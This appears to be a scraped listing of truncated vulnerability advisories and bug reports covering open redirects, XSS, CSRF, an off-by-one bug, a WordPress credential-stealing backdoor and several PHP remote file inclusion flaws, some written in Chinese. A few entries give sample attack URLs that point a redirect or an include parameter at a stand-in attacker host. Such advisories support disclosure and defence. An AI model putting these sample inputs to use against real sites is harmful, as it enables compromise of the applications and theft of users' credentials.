CVE-2016-0310

IBM Connections 5.5 and earlier is vulnerable to possible host header injection attack that could cause navigation to the attacker's domain...

Shopify: Open redirect allows changing iframe content in *.myshopify.com/admin/themes/<id>/editor

Hi , I managed to bypass the fix you deployed to the issue I reported in 159522. Apparently this is what the fix does: - Redirecting to https://checkout.shopify.com/ / only is allowed. - For example: victim.myshopify.com/account/logout?returnurl=https://checkout.shopify.com// will work - but...

Coinbase: Content Injection error page

poc url: https://images.coinbase.com/has.been.changed.to.https://images.attacker.com/,so.please.visit.https://images.attacker.com...

Analysis WordPress a js Backdoor-vulnerability warning-the black bar safety net

We were recently in a lot of WordPress sites to find a for a collection the administrator login credentials for the backdoor, the injured site is to insert a concealment code, when an administrator logs on, the code is triggered, the Administrator's login credentials are encrypted by the GET...

YACS 6.6.1 - Multiple Remote File Include Vulnerabilities

No description provided by source. source: http://www.securityfocus.com/bid/19799/info YACS is prone multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker can exploit these issues to include an arbitrary remote file...

Cross Site Request Forgery - Deleting User's Dashboards

Security auditing tests performed on a Jira Bug Issue and Project Tracking Software locally running instance shown that the application is succeptible to Cross-Site Request Forgery attacks within this URL:...

Off-by-one in Sybase Advantage Server 10.0.0.3

Luigi Auriemma Application: Sybase Advantage Server http://www.sybase.com/products/databasemanagement/advantagedatabaseserver Versions: = 10.0.0.3 Platforms: Windows, NetWare, Linux Bug: off-by-one Exploitation: remote, versus server Date: 27 Jun 2011 found 29 Oct 2010 Author: Luigi Auriemma...

XSS vulnerability in Office Connector

We have identified and fixed a cross-site scripting XSS vulnerability in the Confluence Office Connector. An attacker might take advantage of the vulnerability to steal other users' session cookies or other credentials, by sending the credentials back to such an attacker's own web server. An...

XSS vulnerability in Contributors macro

We have identified and fixed a cross-site scripting XSS vulnerability in the Confluence \contributors macro. An attacker might take advantage of the vulnerability to steal other users' session cookies or other credentials, by sending the credentials back to such an attacker's own web server. An...

GR Board 1.8.6 - page.php Remote File Inclusion

GR Board 1.8.6 - page.php Remote File Inclusion source: https://www.securityfocus.com/bid/40437/info GR Board is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to compromise the application an...

GR Board 1.8.6 - 'page.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/40437/info GR Board is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also...

png -- libpng decompression buffer overflow

The PNG project describes the problem in an advisory: Several versions of libpng through 1.4.2 and through 1.2.43 in the older series contain a bug whereby progressive applications such as web browsers or the rpng2 demo app included in libpng could receive an extra row of image data beyond the...

FreeBSD : opera -- multiple vulnerabilities (44224e08-8306-11dc-9283-0016179b2dd5)

An advisory from Opera reports : If a user has configured Opera to use an external newsgroup client or e-mail application, specially crafted Web pages can cause Opera to run that application incorrectly. In some cases this can lead to execution of arbitrary code. When accessing frames from...

Scripts can overwrite functions on pages from other domains

When accesing frames from different Web sites, specially crafted scripts can bypass the same-origin policy, and overwrite functions from those frames. If scripts on the page then run those functions, this can cause the script of the attacker's choice to run in the context of the target Web site...

PhpXD Path远程文件包含漏洞

PhpXD是一款基于PHP的WEB应用程序。 PhpXD不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是多个脚本对用户提交的'path'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 phpXMLDOM 0.3 http://sourceforge.net/projects/phpxd http://example.com/path/include/dom.php?path=attacker's file http://example.com/path/include/dtd.php?path=attacker's...

Article System远程文件包含漏洞

Article System是一款基于PHP的WEB应用程序。 Article System不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是多个脚本对用户提交的'INCLUDEDIR'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Article System 1.0 http://artsys.sourceforge.net/ http://example.com/scriptpath/include/forms.php?INCLUDEDIR=attacker's site...

AllMyGuests远程文件包含漏洞

AllMyGuests是一款基于PHP的WEB应用程序。 AllMyGuests不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是多个脚本对用户提交的'AMGserverpath'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 AllMyPHP AllMyGuests 0.3 目前没有解决方案提供： http://www.php-resource.net/content-12.html http://example.com/include/submit.inc.php?AMGserverpath=attacker's...

Fantastic Scripts Fantastic News远程文件包含漏洞

Fantastic News是一款基于PHP的新闻管理程序。 Fantastic News不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'news.php'脚本对用户提交的'CONFIGscriptpath'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Fantastic Scripts Fantastic News 2.1.3 http://fscripts.com/free.php?id=1 http://www.example.com/Script...

MyWebland miniBloggie Fname远程文件包含漏洞

MyWebland miniBloggie是一款基于PHP的网络日记程序。 MyWebland miniBloggie不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'clsfasttemplate.php'脚本对用户提交的'fname'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 myWebland miniBloggie 1.0 http://mywebland.neopages.net/...

A-Conman Common.Inc.PHP远程文件包含漏洞

A-Conman是一款基于php的WEB应用程序。 A-Conman不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'Common.Inc.PHP'脚本对用户提交的'cmbasedir'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 a-ConMan a-ConMan 3.2b 目前没有解决方案提供： http://www.a-conman.com/...